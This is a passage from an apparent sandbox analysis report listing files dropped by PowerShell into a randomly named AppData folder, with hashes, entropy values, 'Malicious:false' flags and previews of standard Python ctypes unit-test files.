              SHA-512:7CCA5C7376FEC9F7129B8C7F34D36C8D8446D306A01CD6C225E721FB9285878B538715AB506D7FCC71B88E5FCD5F84B0DD0AC5E824342E415590478C8D56FE68
              Malicious:false
              Reputation:unknown
              Preview:import functools..import unittest..from test import support....from ctypes import *..from ctypes.test import need_symbol..import _ctypes_test....class Callbacks(unittest.TestCase):.. functype = CFUNCTYPE....## def tearDown(self):..## import gc..## gc.collect().... def callback(self, *args):.. self.got_args = args.. return args[-1].... def check_type(self, typ, arg):.. PROTO = self.functype.__func__(typ, typ).. result = PROTO(self.callback)(arg).. if typ == c_float:.. self.assertAlmostEqual(result, arg, places=5).. else:.. self.assertEqual(self.got_args, (arg,)).. self.assertEqual(result, arg).... PROTO = self.functype.__func__(typ, c_byte, typ).. result = PROTO(self.callback)(-3, arg).. if typ == c_float:.. self.assertAlmostEqual(result, arg, places=5).. else:.. self.assertEqual(self.got_args, (-3, arg)).. self.assertEqual(res

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_cast.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3827
              Entropy (8bit):4.6682890460925845
              Encrypted:false
              SSDEEP:
              MD5:4E21D156BEFD6A87F0194198AE282062
              SHA1:217846F5C7967101C82DFC9FF2BBF380933124F8
              SHA-256:9A6167790D619DA3031F46C47E1E90673417D615E0E51E2AEFF34025799FB50E
              SHA-512:6A954E25851CAACE7C56C920CCA532C864A71D0D07535F8473EFA628E36F66A87FEFC7B03B24EE852B63908C2D792F51E85DDF29170E3789E992F378D337CB03
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..from ctypes.test import need_symbol..import unittest..import sys....class Test(unittest.TestCase):.... def test_array2pointer(self):.. array = (c_int * 3)(42, 17, 2).... # casting an array to a pointer works... ptr = cast(array, POINTER(c_int)).. self.assertEqual([ptr[i] for i in range(3)], [42, 17, 2]).... if 2*sizeof(c_short) == sizeof(c_int):.. ptr = cast(array, POINTER(c_short)).. if sys.byteorder == "little":.. self.assertEqual([ptr[i] for i in range(6)],.. [42, 0, 17, 0, 2, 0]).. else:.. self.assertEqual([ptr[i] for i in range(6)],.. [0, 42, 0, 17, 0, 2]).... def test_address2pointer(self):.. array = (c_int * 3)(42, 17, 2).... address = addressof(array).. ptr = cast(c_void_p(address), POINTER(c_int)).. self.assertEqual([ptr[i] for i in range(3)], [42, 17, 2]

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_cfuncs.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7892
              Entropy (8bit):4.754544482863566
              Encrypted:false
              SSDEEP:
              MD5:AD9026C0E907731CBBFDDB6CF9B54BF7
              SHA1:D816EED1B527D4F8B74DEBA92C364C337DCE1526
              SHA-256:9A500004FD764FC1E51C7939C70C2A934B9DD5D4AABCC60ACC741C831FEF0C74
              SHA-512:01264415C94704B93F50826FC74A0CEB6CC577F1BDBCFBDC8564079131F4121472ED3F48EDBB4235C9AC9AF25FDE67CE446BC5E7132C25EF05D3D53ED9119EB4
              Malicious:false
              Reputation:unknown
              Preview:# A lot of failures in these tests on Mac OS X...# Byte order related?....import unittest..from ctypes import *..from ctypes.test import need_symbol....import _ctypes_test....class CFunctions(unittest.TestCase):.. _dll = CDLL(_ctypes_test.__file__).... def S(self):.. return c_longlong.in_dll(self._dll, "last_tf_arg_s").value.. def U(self):.. return c_ulonglong.in_dll(self._dll, "last_tf_arg_u").value.... def test_byte(self):.. self._dll.tf_b.restype = c_byte.. self._dll.tf_b.argtypes = (c_byte,).. self.assertEqual(self._dll.tf_b(-126), -42).. self.assertEqual(self.S(), -126).... def test_byte_plus(self):.. self._dll.tf_bb.restype = c_byte.. self._dll.tf_bb.argtypes = (c_byte, c_byte).. self.assertEqual(self._dll.tf_bb(0, -126), -42).. self.assertEqual(self.S(), -126).... def test_ubyte(self):.. self._dll.tf_B.restype = c_ubyte.. self._dll.tf_B.argtypes = (c_ubyte,).. self.assert

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_checkretval.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1004
              Entropy (8bit):4.58109088421519
              Encrypted:false
              SSDEEP:
              MD5:5B069F0F2470A6FB5FA0DBB841199996
              SHA1:8F0D37E7E5E9C28D0337A932C2D45253E2A0760D
              SHA-256:D17F4F281CD0B91A041EE760931DDBCC20040CA0136532BFEC19D23A1A74026D
              SHA-512:BFCFA7A615C8DFB844E20212A2E8C52D295C0E9BF1DDA9DD9D8EB05F4CDC501CB9603FE04D7C123C4196CFB2A5CCAE3AF1397C6B81B64C12908FF621DB99EF54
              Malicious:false
              Reputation:unknown
              Preview:import unittest....from ctypes import *..from ctypes.test import need_symbol....class CHECKED(c_int):.. def _check_retval_(value):.. # Receives a CHECKED instance... return str(value.value).. _check_retval_ = staticmethod(_check_retval_)....class Test(unittest.TestCase):.... def test_checkretval(self):.... import _ctypes_test.. dll = CDLL(_ctypes_test.__file__).. self.assertEqual(42, dll._testfunc_p_p(42)).... dll._testfunc_p_p.restype = CHECKED.. self.assertEqual("42", dll._testfunc_p_p(42)).... dll._testfunc_p_p.restype = None.. self.assertEqual(None, dll._testfunc_p_p(42)).... del dll._testfunc_p_p.restype.. self.assertEqual(42, dll._testfunc_p_p(42)).... @need_symbol('oledll').. def test_oledll(self):.. self.assertRaises(OSError,.. oledll.oleaut32.CreateTypeLib2,.. 0, None, None)....if __name__ == "__main__":.. unittest.main

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_delattr.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):554
              Entropy (8bit):4.311608480116657
              Encrypted:false
              SSDEEP:
              MD5:5DF9815304C86ACE6020573F2C3285F5
              SHA1:B0BD39AC1F37248B44CE8816331035A714A7BCF7
              SHA-256:06EBC4D5D019BF56D6EB72B2791CF908900DD7E90156B23DD89B21425A25E422
              SHA-512:1C0173605DC480EE211A0B1CEDEAE38A68EFDF6037BFE762BABBCF3F6EB6CF784AE9AECAF5D276B400F938675CC6B5A965AAB12FB4C56E55F5DF5708E4D17EAA
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from ctypes import *....class X(Structure):.. _fields_ = [("foo", c_int)]....class TestCase(unittest.TestCase):.. def test_simple(self):.. self.assertRaises(TypeError,.. delattr, c_int(42), "value").... def test_chararray(self):.. self.assertRaises(TypeError,.. delattr, (c_char * 5)(), "value").... def test_struct(self):.. self.assertRaises(TypeError,.. delattr, X(), "foo")....if __name__ == "__main__":.. unittest.main()..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_errno.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2247
              Entropy (8bit):4.545545871619444
              Encrypted:false
              SSDEEP:
              MD5:D4DA9B407207F65B8B1F9225D7461117
              SHA1:498AD376A84DA85882CCB8A08AAC8C8D1E2BF981
              SHA-256:B6816BFCF26A4816C334A2388F02BB66BEC7DB3FEF9ACD34B0A1FCB50B1CF246
              SHA-512:FD28AE9C77E11A30E27786F5C0D4A1C679E3C2F879B4C66545236362695F3EE9F0A5139F2F14E5D703DEC06C4D8D88901FA44A79FBFE4E1F99910EF48CB4780A
              Malicious:false
              Reputation:unknown
              Preview:import unittest, os, errno..import threading....from ctypes import *..from ctypes.util import find_library....class Test(unittest.TestCase):.. def test_open(self):.. libc_name = find_library("c").. if libc_name is None:.. raise unittest.SkipTest("Unable to find C library").. libc = CDLL(libc_name, use_errno=True).. if os.name == "nt":.. libc_open = libc._open.. else:.. libc_open = libc.open.... libc_open.argtypes = c_char_p, c_int.... self.assertEqual(libc_open(b"", 0), -1).. self.assertEqual(get_errno(), errno.ENOENT).... self.assertEqual(set_errno(32), errno.ENOENT).. self.assertEqual(get_errno(), 32).... def _worker():.. set_errno(0).... libc = CDLL(libc_name, use_errno=False).. if os.name == "nt":.. libc_open = libc._open.. else:.. libc_open = libc.open.. libc_open.argtypes = c_char_p, c

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_find.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4587
              Entropy (8bit):4.518925531699725
              Encrypted:false
              SSDEEP:
              MD5:0F624CD55C1A37E759853C6A20834E24
              SHA1:7F1487A6F1198DFC816EAD8C7251303A601F2283
              SHA-256:AEB34DA2A1AC8668A6CA966BAD777A3602E865044FE861CDEC57A36DA658C52B
              SHA-512:1391880446DADA2484FC051613E04065D52822BF2B9288F34C5BA19326473415BE046B36A12F3BB5B5E6D1BEDFEB203CBF82470C5E23C96EB15454ADDFBB286D
              Malicious:false
              Reputation:unknown
              Preview:import unittest..import unittest.mock..import os.path..import sys..import test.support..from test.support import os_helper..from ctypes import *..from ctypes.util import find_library....# On some systems, loading the OpenGL libraries needs the RTLD_GLOBAL mode...class Test_OpenGL_libs(unittest.TestCase):.. @classmethod.. def setUpClass(cls):.. lib_gl = lib_glu = lib_gle = None.. if sys.platform == "win32":.. lib_gl = find_library("OpenGL32").. lib_glu = find_library("Glu32").. elif sys.platform == "darwin":.. lib_gl = lib_glu = find_library("OpenGL").. else:.. lib_gl = find_library("GL").. lib_glu = find_library("GLU").. lib_gle = find_library("gle").... ## print, for debugging.. if test.support.verbose:.. print("OpenGL libraries:").. for item in (("GL", lib_gl),.. ("GLU", lib_glu),.. ("gle", lib_gle)):..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_frombuffer.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):5356
              Entropy (8bit):4.756710675851968
              Encrypted:false
              SSDEEP:
              MD5:22F30ACE20851D2BA79724E6190F25D7
              SHA1:BAA91A2E2FFD1037B751284C17CCA8C407E12A1A
              SHA-256:148565036DFCF7BB21CD1C187DDD6D2ACB14B4D464F1989582FCE8B55A6AD6F4
              SHA-512:53BA11183C670E365FB4A8A31FFBF3BFBFF4264F64F1BE0D51C9D9BD48F38875387471B8B8ACF086F065AEE02AA840DCFF73784D63D7B2A1EA7351BA6F5EFB46
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..import array..import gc..import unittest....class X(Structure):.. _fields_ = [("c_int", c_int)].. init_called = False.. def __init__(self):.. self._init_called = True....class Test(unittest.TestCase):.. def test_from_buffer(self):.. a = array.array("i", range(16)).. x = (c_int * 16).from_buffer(a).... y = X.from_buffer(a).. self.assertEqual(y.c_int, a[0]).. self.assertFalse(y.init_called).... self.assertEqual(x[:], a.tolist()).... a[0], a[-1] = 200, -200.. self.assertEqual(x[:], a.tolist()).... self.assertRaises(BufferError, a.append, 100).. self.assertRaises(BufferError, a.pop).... del x; del y; gc.collect(); gc.collect(); gc.collect().. a.append(100).. a.pop().. x = (c_int * 16).from_buffer(a).... self.assertIn(a, [obj.obj if isinstance(obj, memoryview) else obj.. for obj in x._objects.values()]).... expected

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_funcptr.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4158
              Entropy (8bit):4.687789117866623
              Encrypted:false
              SSDEEP:
              MD5:5566EC49D926F6A7E4E064E7C5F9E4A1
              SHA1:1DC2D3F9F000A7EDF1816260C291A7D2C0961E34
              SHA-256:E9DEB47B1CE3E1D278ED708823EED058BF66EBB2AE9A8F9896BC6E7566DB825F
              SHA-512:3AD7EE4BB9070F1F96D81543F19B87187189520E9C48011D29F22974904035AAAAF916F8E3499BC4D400EE65E618FE1ABC82920AAC8B52D27DD1FEC4A367D144
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from ctypes import *....try:.. WINFUNCTYPE..except NameError:.. # fake to enable this test on Linux.. WINFUNCTYPE = CFUNCTYPE....import _ctypes_test..lib = CDLL(_ctypes_test.__file__)....class CFuncPtrTestCase(unittest.TestCase):.. def test_basic(self):.. X = WINFUNCTYPE(c_int, c_int, c_int).... def func(*args):.. return len(args).... x = X(func).. self.assertEqual(x.restype, c_int).. self.assertEqual(x.argtypes, (c_int, c_int)).. self.assertEqual(sizeof(x), sizeof(c_voidp)).. self.assertEqual(sizeof(X), sizeof(c_voidp)).... def test_first(self):.. StdCallback = WINFUNCTYPE(c_int, c_int, c_int).. CdeclCallback = CFUNCTYPE(c_int, c_int, c_int).... def func(a, b):.. return a + b.... s = StdCallback(func).. c = CdeclCallback(func).... self.assertEqual(s(1, 2), 3).. self.assertEqual(c(1, 2), 3).. # The following no longer raises a Ty

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_functions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):12894
              Entropy (8bit):4.677612583904367
              Encrypted:false
              SSDEEP:
              MD5:E13313EA0AEC6CF4640F31DEF31A39E6
              SHA1:E63BEF50E4F602B9F12F04AEDFC263D62C0B43A3
              SHA-256:F4A08974AE2AD258E36BEBACB530131A956D4F7C2D3263F8D0CB9239F4EB00C4
              SHA-512:04F846385FE8D4476F1C9B8C6D57F29245A4310796DE72534E471ED343C96D50C6CBCCD80126E1A4C90F9B55642363A13D4AC2728502E6CD17066F086B697DBC
              Malicious:false
              Reputation:unknown
              Preview:"""..Here is probably the place to write the docs, since the test-cases..show how the type behave.....Later....."""....from ctypes import *..from ctypes.test import need_symbol..import sys, unittest....try:.. WINFUNCTYPE..except NameError:.. # fake to enable this test on Linux.. WINFUNCTYPE = CFUNCTYPE....import _ctypes_test..dll = CDLL(_ctypes_test.__file__)..if sys.platform == "win32":.. windll = WinDLL(_ctypes_test.__file__)....class POINT(Structure):.. _fields_ = [("x", c_int), ("y", c_int)]..class RECT(Structure):.. _fields_ = [("left", c_int), ("top", c_int),.. ("right", c_int), ("bottom", c_int)]..class FunctionTestCase(unittest.TestCase):.... def test_mro(self):.. # in Python 2.3, this raises TypeError: MRO conflict among bases classes,.. # in Python 2.2 it works... #.. # But in early versions of _ctypes.c, the result of tp_new.. # wasn't checked, and it even crashed Python... # Found by Greg Chapman.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_incomplete.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1065
              Entropy (8bit):4.37312551755735
              Encrypted:false
              SSDEEP:
              MD5:70968D92E6FAD1BD97BC47AF51996EE8
              SHA1:8BD7519A9D46139AA066C1FF443FD1F8EDA9E543
              SHA-256:87E2161447711BF74CBCB30A23CB681B334E6F17228243A5520887803E4676DB
              SHA-512:4EC04E6F3771261A5B3152E64C5A903AD1E39D8EE8A0BA315CBA7292D8DF6B4C6205E3BE22DDEE113757924DD679F50F99B78C800D0F9F2F9BB2D19B54F84666
              Malicious:false
              Reputation:unknown
              Preview:import unittest..from ctypes import *....################################################################..#..# The incomplete pointer example from the tutorial..#....class MyTestCase(unittest.TestCase):.... def test_incomplete_example(self):.. lpcell = POINTER("cell").. class cell(Structure):.. _fields_ = [("name", c_char_p),.. ("next", lpcell)].... SetPointerType(lpcell, cell).... c1 = cell().. c1.name = b"foo".. c2 = cell().. c2.name = b"bar".... c1.next = pointer(c2).. c2.next = pointer(c1).... p = c1.... result = [].. for i in range(8):.. result.append(p.name).. p = p.next[0].. self.assertEqual(result, [b"foo", b"bar"] * 4).... # to not leak references, we must clean _pointer_type_cache.. from ctypes import _pointer_type_cache.. del _pointer_type_cache[cell]....####################################################

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_init.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1079
              Entropy (8bit):4.51210279867607
              Encrypted:false
              SSDEEP:
              MD5:27021B00477C506079328D3A5A3F78A9
              SHA1:E68D7474FE128AB62010D9485AC4DC48D7DC27D6
              SHA-256:9048101E128F49738284A2710D09E8CCBBECD6C775CBFE3A2505D48F20E9EA0E
              SHA-512:BE7911F525DB13D184484FE5E7C8F142C89B8DF706C2C0BF037FEF929760B0565227B439B14554142E822973F15C1C502881F2F03997A05C87AE31540DC78E9F
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..import unittest....class X(Structure):.. _fields_ = [("a", c_int),.. ("b", c_int)].. new_was_called = False.... def __new__(cls):.. result = super().__new__(cls).. result.new_was_called = True.. return result.... def __init__(self):.. self.a = 9.. self.b = 12....class Y(Structure):.. _fields_ = [("x", X)]......class InitTest(unittest.TestCase):.. def test_get(self):.. # make sure the only accessing a nested structure.. # doesn't call the structure's __new__ and __init__.. y = Y().. self.assertEqual((y.x.a, y.x.b), (0, 0)).. self.assertEqual(y.x.new_was_called, False).... # But explicitly creating an X structure calls __new__ and __init__, of course... x = X().. self.assertEqual((x.a, x.b), (9, 12)).. self.assertEqual(x.new_was_called, True).... y.x = x.. self.assertEqual((y.x.a, y.x.b), (9, 12)).. self.assertEqual(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_internals.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2731
              Entropy (8bit):4.615319078031669
              Encrypted:false
              SSDEEP:
              MD5:C2C90A2B68830C1E09EE0D4945DDC4E9
              SHA1:4FD1C1D09C87C035E6C8A412AB7F74E288F61E3D
              SHA-256:447AFE6FF20B6788B50DA10A309D487BBA68FDC90FB7E57C6ACE2746F86EFE18
              SHA-512:14A698EF5514A08D8EC1B8CC0AAAD96DCEF6DFDCFE6BA48436732DF013B9DC7C5392F03C2395B0EE9D0F283AFE8E9B06B6834E3A40D86352D7880F6FA174A1CE
              Malicious:false
              Reputation:unknown
              Preview:# This tests the internal _objects attribute..import unittest..from ctypes import *..from sys import getrefcount as grc....# XXX This test must be reviewed for correctness!!!....# ctypes' types are container types...#..# They have an internal memory block, which only consists of some bytes,..# but it has to keep references to other objects as well. This is not..# really needed for trivial C types like int or char, but it is important..# for aggregate types like strings or pointers in particular...#..# What about pointers?....class ObjectsTestCase(unittest.TestCase):.. def assertSame(self, a, b):.. self.assertEqual(id(a), id(b)).... def test_ints(self):.. i = 42000123.. refcnt = grc(i).. ci = c_int(i).. self.assertEqual(refcnt, grc(i)).. self.assertEqual(ci._objects, None).... def test_c_char_p(self):.. s = b"Hello, World".. refcnt = grc(s).. cs = c_char_p(s).. self.assertEqual(refcnt + 1, grc(s)).. se

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_keeprefs.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):4211
              Entropy (8bit):4.513618512523503
              Encrypted:false
              SSDEEP:
              MD5:796662BFAA2B40506FD924880D9FAE57
              SHA1:E68117C1DB354B95967D94F8AE7BA5AF4F3D6C51
              SHA-256:D43EAECB7CD065B7844F405C533C53992055FAB5C1DF63AE133BA06821E53A8C
              SHA-512:406CDADD7B92CB684F44829EE0C7C822178AB5EF4A5223601052F7CD38777944E37978B3DE7BA5616965D6B1B3F199659B380769238A24CCAC556DCF89FE7AC3
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..import unittest....class SimpleTestCase(unittest.TestCase):.. def test_cint(self):.. x = c_int().. self.assertEqual(x._objects, None).. x.value = 42.. self.assertEqual(x._objects, None).. x = c_int(99).. self.assertEqual(x._objects, None).... def test_ccharp(self):.. x = c_char_p().. self.assertEqual(x._objects, None).. x.value = b"abc".. self.assertEqual(x._objects, b"abc").. x = c_char_p(b"spam").. self.assertEqual(x._objects, b"spam")....class StructureTestCase(unittest.TestCase):.. def test_cint_struct(self):.. class X(Structure):.. _fields_ = [("a", c_int),.. ("b", c_int)].... x = X().. self.assertEqual(x._objects, None).. x.a = 42.. x.b = 99.. self.assertEqual(x._objects, None).... def test_ccharp_struct(self):.. class X(Structure):.. _fields_ = [("a", c_char_p),..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_libc.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1038
              Entropy (8bit):4.840455422403521
              Encrypted:false
              SSDEEP:
              MD5:DD09C074CE7F3DA9732725E4B31E6B14
              SHA1:B7871AE3105ECF0B38DE491006A8A1E6AF15CE25
              SHA-256:15F6D841475846ECE6B6966301B737E3D9B3069411497B9495FFAE0C81D04212
              SHA-512:63795F8218ADC535DC61A27BDDBFF8C6DF216D758F2B01F5F8D9B2EBF92A162C7D982420C05274B8C847EDB1526C3043CFBD7126BB81DDB9B239870391C7E0A6
              Malicious:false
              Reputation:unknown
              Preview:import unittest....from ctypes import *..import _ctypes_test....lib = CDLL(_ctypes_test.__file__)....def three_way_cmp(x, y):.. """Return -1 if x < y, 0 if x == y and 1 if x > y""".. return (x > y) - (x < y)....class LibTest(unittest.TestCase):.. def test_sqrt(self):.. lib.my_sqrt.argtypes = c_double,.. lib.my_sqrt.restype = c_double.. self.assertEqual(lib.my_sqrt(4.0), 2.0).. import math.. self.assertEqual(lib.my_sqrt(2.0), math.sqrt(2.0)).... def test_qsort(self):.. comparefunc = CFUNCTYPE(c_int, POINTER(c_char), POINTER(c_char)).. lib.my_qsort.argtypes = c_void_p, c_size_t, c_size_t, comparefunc.. lib.my_qsort.restype = None.... def sort(a, b):.. return three_way_cmp(a[0], b[0]).... chars = create_string_buffer(b"spam, spam, and spam").. lib.my_qsort(chars, len(chars)-1, sizeof(c_char), comparefunc(sort)).. self.assertEqual(chars.raw, b" ,,aaaadmmmnpppsss\x00")....if __name__

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_loading.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):7318
              Entropy (8bit):4.620670361439591
              Encrypted:false
              SSDEEP:
              MD5:56D960C9820B94873420AF1568C7E6BC
              SHA1:CEE3F1B8CFC736670EA82FE359418480B277E215
              SHA-256:8F34FDC30617226B0DBE3488944E4811ACE54245258354280469AED27CCB18CB
              SHA-512:D314611FCDBA890396235B50FB6273493591350A7EDAD0C6102E25ADE4450F55F01A0A33EEBC96D92C8AFEC736AB5D5008CBD07F0B03E6BDBB7167013E4F7809
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..import os..import shutil..import subprocess..import sys..import unittest..import test.support..from test.support import import_helper..from test.support import os_helper..from ctypes.util import find_library....libc_name = None....def setUpModule():.. global libc_name.. if os.name == "nt":.. libc_name = find_library("c").. elif sys.platform == "cygwin":.. libc_name = "cygwin1.dll".. else:.. libc_name = find_library("c").... if test.support.verbose:.. print("libc_name is", libc_name)....class LoaderTest(unittest.TestCase):.... unknowndll = "xxrandomnamexx".... def test_load(self):.. if libc_name is None:.. self.skipTest('could not find libc').. CDLL(libc_name).. CDLL(os.path.basename(libc_name)).. self.assertRaises(OSError, CDLL, self.unknowndll).... def test_load_version(self):.. if libc_name is None:.. self.skipTest('could not find libc').. if os.pa

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_macholib.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):2187
              Entropy (8bit):4.816346491433315
              Encrypted:false
              SSDEEP:
              MD5:F61538EDDAB507CE94CA5EE7FFFE7C5E
              SHA1:885335178D6624FB48A252D2A35E21DBB061F64F
              SHA-256:5F9C8E2FE6FBE5E46736D84A3EFE21E1AC1035C34DA3A7ECBA603482D2DEDF36
              SHA-512:E17EF9F9C7C4F4D227B072C66355CE76A13C76CB45F1EE199B82D6C2640A33C6CFC88C838C8ADBCFC72999201015E26307AE583F2C55280A82D161F75960125B
              Malicious:false
              Reputation:unknown
              Preview:import os..import sys..import unittest....# Bob Ippolito:..#..# Ok.. the code to find the filename for __getattr__ should look..# something like:..#..# import os..# from macholib.dyld import dyld_find..#..# def find_lib(name):..# possible = ['lib'+name+'.dylib', name+'.dylib',..# name+'.framework/'+name]..# for dylib in possible:..# try:..# return os.path.realpath(dyld_find(dylib))..# except ValueError:..# pass..# raise ValueError, "%s not found" % (name,)..#..# It'll have output like this:..#..# >>> find_lib('pthread')..# '/usr/lib/libSystem.B.dylib'..# >>> find_lib('z')..# '/usr/lib/libz.1.dylib'..# >>> find_lib('IOKit')..# '/System/Library/Frameworks/IOKit.framework/Versions/A/IOKit'..#..# -bob....from ctypes.macholib.dyld import dyld_find....def find_lib(name):.. possible = ['lib'+name+'.dylib', name+'.dylib', name+'.framework/'+name].. for dylib in possible:.. try:.. return os.path.realpath(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_memfunctions.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):3372
              Entropy (8bit):4.78594009020803
              Encrypted:false
              SSDEEP:
              MD5:5014B7EAA2E90171EAE7DB73C8E54FB7
              SHA1:B797439E18543AC1819EA89BD9455BB5C1E39C01
              SHA-256:1561C44916314C361F2CA14ED81EA7A01C962DB98EAE36135F552B2698F52903
              SHA-512:1D6EE8F82E33F9A7F0BADED0616B6351C8913D2CA16275CED98464BC99E4271684C15CABA87FFA7631CCB5BF2F1B2B81E6FA1BF5AA37C3A6B08664D5DA188D56
              Malicious:false
              Reputation:unknown
              Preview:import sys..from test import support..import unittest..from ctypes import *..from ctypes.test import need_symbol....class MemFunctionsTest(unittest.TestCase):.. @unittest.skip('test disabled').. def test_overflow(self):.. # string_at and wstring_at must use the Python calling.. # convention (which acquires the GIL and checks the Python.. # error flag). Provoke an error and catch it; see also issue.. # #3554: <http://bugs.python.org/issue3554>.. self.assertRaises((OverflowError, MemoryError, SystemError),.. lambda: wstring_at(u"foo", sys.maxint - 1)).. self.assertRaises((OverflowError, MemoryError, SystemError),.. lambda: string_at("foo", sys.maxint - 1)).... def test_memmove(self):.. # large buffers apparently increase the chance that the memory.. # is allocated in high address space... a = create_string_buffer(1000000).. p = b"Hello, World".. result

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_numbers.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):9765
              Entropy (8bit):4.622937915186651
              Encrypted:false
              SSDEEP:
              MD5:3E6B1F472B29A6EBF36EB149460F84B6
              SHA1:ACB83DFB4DB631943C411A9955C8AA952BC2FF97
              SHA-256:CE56D0574523CE5416D09AA77B6F5441E7F2D8B3C6C4E9EED267C97B5CF06839
              SHA-512:D15756407F9C3B7498F4E85408B321540A6B317E436A2E47B4D34104F27DA6B4431E9C51C93D99FEAFE4C0E2C83712366595A9EB146402B8DC961911FBAAF6A7
              Malicious:false
              Reputation:unknown
              Preview:from ctypes import *..import unittest..import struct....def valid_ranges(*types):.. # given a sequence of numeric types, collect their _type_.. # attribute, which is a single format character compatible with.. # the struct module, use the struct module to calculate the.. # minimum and maximum value allowed for this format... # Returns a list of (min, max) values... result = [].. for t in types:.. fmt = t._type_.. size = struct.calcsize(fmt).. a = struct.unpack(fmt, (b"\x00"*32)[:size])[0].. b = struct.unpack(fmt, (b"\xFF"*32)[:size])[0].. c = struct.unpack(fmt, (b"\x7F"+b"\x00"*32)[:size])[0].. d = struct.unpack(fmt, (b"\x80"+b"\xFF"*32)[:size])[0].. result.append((min(a, b, c, d), max(a, b, c, d))).. return result....ArgType = type(byref(c_int(0)))....unsigned_types = [c_ubyte, c_ushort, c_uint, c_ulong]..signed_types = [c_byte, c_short, c_int, c_long, c_longlong]....bool_types = []....float_types = [c_double, c_

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\ctypes\test\test_objects.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable, with CRLF line terminators
              Category:dropped
              Size (bytes):1744
              Entropy (8bit):4.939764620789078
              Encrypted:false
              SSDEEP:
              MD5:01973E3980CDA772074468BBBF73575D
              SHA1:D6CD1706035ED5AAC28B49DD383309D85ED8B66D
              SHA-256:2375BFD846D3F8C50E6ECF87DD4F46A46E8CDABB02CF826FA1B61EF524824554
